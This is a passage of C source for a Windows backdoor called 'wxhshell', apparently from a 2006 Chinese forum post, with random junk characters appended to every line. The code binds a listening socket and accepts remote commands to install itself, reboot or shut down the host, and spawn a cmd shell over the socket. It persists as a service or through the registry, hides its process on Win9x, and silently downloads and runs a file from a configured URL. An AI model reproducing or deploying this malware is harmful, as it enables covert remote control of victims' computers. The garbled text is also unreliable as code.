  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yNm:[bOER  
  } @fu M)B1"  
  else { _k^0m  
Z~A@o ""F  
    switch(cmd[0]) { K^_i%~  
  e]=!"nJ+  
  // 帮助 tO_H!kP  
  case '?': { tbnH,*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LqdY Qd51  
    break; 0y&I/2  
  } Mv c`)_Md  
  // 安装 Z):n c% S  
  case 'i': { a[lY S{  
    if(Install()) `h}q Eo`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D>Gt]s  
    else E;21?`x5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rF\ "w0J_  
    break; E~<`/s  
    } ogFKUD*h&>  
  // 卸载 3~e8bcb  
  case 'r': { *m%]zj0bo  
    if(Uninstall()) y7KzW*>g :  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aA-  
    else *&Z7m^`FQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DO7W}WU  
    break; i&8FBV-  
    } azjEq$<M  
  // 显示 wxhshell 所在路径 vzF5xp.  
  case 'p': { @\&m+;6  
    char svExeFile[MAX_PATH]; iCP/P%  
    strcpy(svExeFile,"\n\r"); LQnkcV  
      strcat(svExeFile,ExeFile); EBtLzbj  
        send(wsh,svExeFile,strlen(svExeFile),0); r%DFve:%  
    break; /~4 "No@  
    } ~x{.jn  
  // 重启 K ~44i  
  case 'b': { `:'w@(q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H A}f,),G  
    if(Boot(REBOOT)) GRy-+#,b"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ifk#/d  
    else { >=iy2~Fz,  
    closesocket(wsh); 4/ X/>Y1  
    ExitThread(0); k`".  
    } "uLjIIl  
    break; }FF W|f  
    } C@N1ljXJT  
  // 关机 #S%Q*k<hw  
  case 'd': { ,:+d g(\r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DoC(Z)o  
    if(Boot(SHUTDOWN)) tweY'x.{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UN"(5a8.  
    else { 4`#F^2r!  
    closesocket(wsh); U $Qv>7  
    ExitThread(0); &;LqF#ZL  
    } tU"raP^ =  
    break; lCW8<g^  
    } bYe;b><G  
  // 获取shell ZxGP/D  
  case 's': { R];Ox e  
    CmdShell(wsh); 2tayP@$  
    closesocket(wsh); 4Ij-Ilg)%  
    ExitThread(0); \U%#nU{  
    break; > Oh?%%6  
  } ]0D}T'wM  
  // 退出 {F&-7u0  
  case 'x': { >]'yK!a?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3M5#4n\v$  
    CloseIt(wsh); dBO@6*N4c  
    break; c= UU"  
    } n(~\l#o@  
  // 离开 F#xa`*AP  
  case 'q': { 5>9Y|UU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K[ .JlIP  
    closesocket(wsh); 0;,IKXK6X  
    WSACleanup(); IB.yU,v  
    exit(1); G;gJNK"e  
    break; - ~O'vLG  
        } gPS&^EdxA  
  } 59(U`X  
  } 2EQ 6J  
FDR1 Gy  
  // 提示信息 .AV)'j#6P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vbh6HqAHxJ  
} 33:DH}  
  } ')+0nPV  
gG54:  
  return; N#N0Q0W=  
} eT"Uxhs-}  
hwnx<f '  
// shell模块句柄 tXF]t   
int CmdShell(SOCKET sock) yh;Y,;4  
{ $ &5w\P  
STARTUPINFO si; ]T O/kl/  
ZeroMemory(&si,sizeof(si)); 8F;>5i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  \d.F82  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9T2xU3UyY  
PROCESS_INFORMATION ProcessInfo; \zXlN  
char cmdline[]="cmd"; jm>3bd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cu#e38M&eE  
  return 0; lp&!lb`  
} x_@i(oQ:_  
(J:dK=O@Z  
// 自身启动模式 {I%y;Aab8  
int StartFromService(void) [nN7qG  
{ LR)& [{Kk  
typedef struct ~pP0|B*%  
{ |oKu=/[K  
  DWORD ExitStatus; g;F"7 ^sg  
  DWORD PebBaseAddress; c $;\i  
  DWORD AffinityMask; D>ai.T%n  
  DWORD BasePriority; !MZw#=D`  
  ULONG UniqueProcessId; Dxx;v.$  
  ULONG InheritedFromUniqueProcessId; 90 { tIX  
}   PROCESS_BASIC_INFORMATION; NlR"$  
-@%%*YI>  
PROCNTQSIP NtQueryInformationProcess; <SXZx9A!  
-$Y8!54  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O@U?IF$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A-E+s~U8  
_pDjg%A>n  
  HANDLE             hProcess; )@QJ  
  PROCESS_BASIC_INFORMATION pbi; "|LQK0q3  
~2%3FV^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OS7R Qw1  
  if(NULL == hInst ) return 0; P9#)~Zm}]  
&a~=b,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M$#sc`4*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r7z6___  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #;j9}N  
2/Nq'  
  if (!NtQueryInformationProcess) return 0; VZxTx0: ,  
k'13f,o}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wz#[:2  
  if(!hProcess) return 0;  b;vNq  
X\2_; zwf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a+(j ?_FyI  
VyZV (k  
  CloseHandle(hProcess); R$0U<(/  
$4j^1U`~)K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !'c| N9  
if(hProcess==NULL) return 0; XeUprN  
jPwef##~7  
HMODULE hMod; v&0d$@6/U  
char procName[255]; WM< \e  
unsigned long cbNeeded; qzdaN5  
,?=KgG1i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /Dd\PjIH{  
y_%&]/%  
  CloseHandle(hProcess); FLbZ9pX}  
,VG9)K 1K  
if(strstr(procName,"services")) return 1; // 以服务启动 ./iXyta  
wXCyj+XB*  
  return 0; // 注册表启动 u8uW9 <  
} ]7<m1Lg  
pI^=B-7  
// 主模块 02M7gBS  
int StartWxhshell(LPSTR lpCmdLine) d=n h  
{ `1,eX)S  
  SOCKET wsl; pGk"3.ce  
BOOL val=TRUE; )<'yQW=6  
  int port=0; !u0U5>ccw  
  struct sockaddr_in door; ; $6x=uZ  
r%[1$mTOR  
  if(wscfg.ws_autoins) Install(); L w*1 .~  
1}DerX6  
port=atoi(lpCmdLine); nOuN|q=C  
XPVV+.  
if(port<=0) port=wscfg.ws_port; jaa/k@OG  
U,ELqi\  
  WSADATA data; E 8^sy*f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y[p6y[r*  
uXP- J]>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5:_~mlfi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A?sNXhh  
  door.sin_family = AF_INET; 0$?qoS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZpTi:3>  
  door.sin_port = htons(port); +DxifXtB  
AG=9b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :7k`R6 2{  
closesocket(wsl); CH#kvR2  
return 1; y8D 8Y8B  
} @|]iSD&T #  
nYgx9Q"<om  
  if(listen(wsl,2) == INVALID_SOCKET) { c}8 -/P=  
closesocket(wsl); J;"nm3[.q  
return 1; jUZ[`f;  
} R>` ih&,)  
  Wxhshell(wsl); IwnYJp:9v  
  WSACleanup(); d^_itC;-,  
L&rO  6  
return 0; xz="|HD);  
I(y`)$}  
} >Ziy1Dp  
W|~q<},j  
// 以NT服务方式启动 (c 1u{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9PWm@ Nlf  
{ QM7[O]@  
DWORD   status = 0; |#!eMJ&0  
  DWORD   specificError = 0xfffffff; |zg=+  
X #H:&*[!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E Gr|BLl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r$Yh)rpt:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6{lG1\o  
  serviceStatus.dwWin32ExitCode     = 0; <)=3XEcb  
  serviceStatus.dwServiceSpecificExitCode = 0; G)4 ZK#wz  
  serviceStatus.dwCheckPoint       = 0; ,K`E&hS  
  serviceStatus.dwWaitHint       = 0; o8iig5bp  
Ixyvn#ux )  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |qQ{8T%)  
  if (hServiceStatusHandle==0) return; AfuXu@UZ_/  
7=; D0SS  
status = GetLastError(); #IH<HL)t%e  
  if (status!=NO_ERROR) dw'<"+zO  
{ 6yy|V~5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,s\x]bh  
    serviceStatus.dwCheckPoint       = 0; A!Knp=Gw  
    serviceStatus.dwWaitHint       = 0; XPGL3[w\V  
    serviceStatus.dwWin32ExitCode     = status; >Iu]T{QNO  
    serviceStatus.dwServiceSpecificExitCode = specificError; aslU`#"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3(cU)  
    return; ~%D^ Ga7  
  } ^=aml   
Mb2:'u [  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x e"4u JO  
  serviceStatus.dwCheckPoint       = 0; p} t{8j >  
  serviceStatus.dwWaitHint       = 0; %AzPAWcN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tjBh$)  
} -lJx%9>  
Ec7{BhH)  
// 处理NT服务事件,比如:启动、停止 wrZ7Sr!/V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <XkkYI(  
{ ZX~>uf\n  
switch(fdwControl) JL}hOBqfI  
{ _"R3N  
case SERVICE_CONTROL_STOP: ~%cSckE  
  serviceStatus.dwWin32ExitCode = 0; +1E?He:iQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =DeHxPv}f  
  serviceStatus.dwCheckPoint   = 0; ~`nm<   
  serviceStatus.dwWaitHint     = 0; _QC?:mv6-  
  { se^NQ=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I?^Q084  
  } 7eaA]y~H  
  return; 4Zv.[V]iOO  
case SERVICE_CONTROL_PAUSE: =UI,+P:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1B9Fb.i  
  break; X]3l| D  
case SERVICE_CONTROL_CONTINUE: CrRQPgl+u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *_2O*{V  
  break; mMD$X[:  
case SERVICE_CONTROL_INTERROGATE: 1)P<cNj  
  break; ?9wFV/  
}; Y:tW]   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :>AW@SoTp  
} CA~em_dC  
*783xEF>f  
// 标准应用程序主函数 Xa@ _^oL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0~@L%~  
{ <ZHY3  
.dg 4gr\D  
// 获取操作系统版本 RJ=c[nb  
OsIsNt=GetOsVer(); s&_IWala  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A/Fs?m{7U  
k vue@  
  // 从命令行安装 FJn~ =hA  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4cErk)F4  
?C#F?N0  
  // 下载执行文件 F=*BvI "+  
if(wscfg.ws_downexe) { i SAidK,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^Q43)H0  
  WinExec(wscfg.ws_filenam,SW_HIDE); t`Y1.]@U  
} )LMBxyS  
V!kQuQJ>  
if(!OsIsNt) { 'EH  
// 如果时win9x,隐藏进程并且设置为注册表启动 N#-kk3!Z;  
HideProc(); 9m#H24{V'  
StartWxhshell(lpCmdLine); ZhJ|ZvJ  
} @LkW_  
else 0%&fUz36E6  
  if(StartFromService()) %DND&0`  
  // 以服务方式启动 +n8I(l=  
  StartServiceCtrlDispatcher(DispatchTable); KH@) +Rj  
else 1=o(sIeA  
  // 普通方式启动 ^$&"<  
  StartWxhshell(lpCmdLine); nkCRe  
WO \lny!  
return 0; (X`t"*y"  
}
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只看该作者 1 发表于: 2006-10-10
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